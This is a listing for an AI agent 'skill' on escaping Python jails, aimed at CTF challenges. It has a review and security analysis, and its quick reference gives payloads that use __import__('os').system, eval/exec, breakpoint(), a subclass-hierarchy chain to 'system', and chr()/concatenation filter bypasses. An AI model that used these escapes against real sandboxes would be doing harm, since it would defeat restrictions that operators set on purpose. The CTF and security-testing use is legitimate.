Python Jail Escape

VerifiedCaution

Techniques to escape Python sandbox restrictions in eval/exec environments, CTF challenges, and filtered input scenarios.

Sby Skills Guide Bot
SecurityAdvanced
108/1/2026
Claude Code
#python-jail#sandbox-escape#ctf#security#exploit

Recommended for

Our review

Provides techniques and payloads to escape restricted Python sandbox environments, bypass filters, and execute commands.

Strengths

  • Includes a quick reference of common escapes.
  • Covers class hierarchy tricks for when builtins are blocked.
  • Offers debugging snippets to locate useful classes.

Limitations

  • Techniques may not work on newer Python versions due to sandbox hardening.
  • Relies on specific class indices that vary by environment.
  • Does not cover all possible sandbox configurations.
When to use it

When you need to break out of a Python jail, sandbox, or eval/exec environment with input filtering.

When not to use it

When the environment has no Python restrictions or when a proper OS-level solution is needed instead.

Security analysis

Caution
Quality score90/100

The skill is a reference for sandbox escape techniques, commonly used in security testing and CTF challenges. It does not directly instruct destructive actions, but the ability to execute arbitrary commands via Python carries inherent risk if misused. Allowed tools include Bash, which could be invoked through the demonstrated escapes. The educational intent and clear structure mitigate risk, but caution is warranted.

Findings
  • Provides methods to execute arbitrary shell commands from Python, bypassing sandbox restrictions.
  • Contains code snippets that could be used to break out of restricted environments, which may be misused if not properly scoped.
  • Uses encoding/concatenation tricks to bypass filters, which could be used to hide malicious payloads.

Examples

Basic jail break
I have a Python eval sandbox that blocks `import` and `os`. How can I execute commands to read flag.txt?
Classic class hierarchy escape
Use the Python object class chain to find subprocess and run a shell command.
Filter bypass
My jail filters the characters `'` and `"`. How can I build a payload using concatenation or chr()?

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Related skills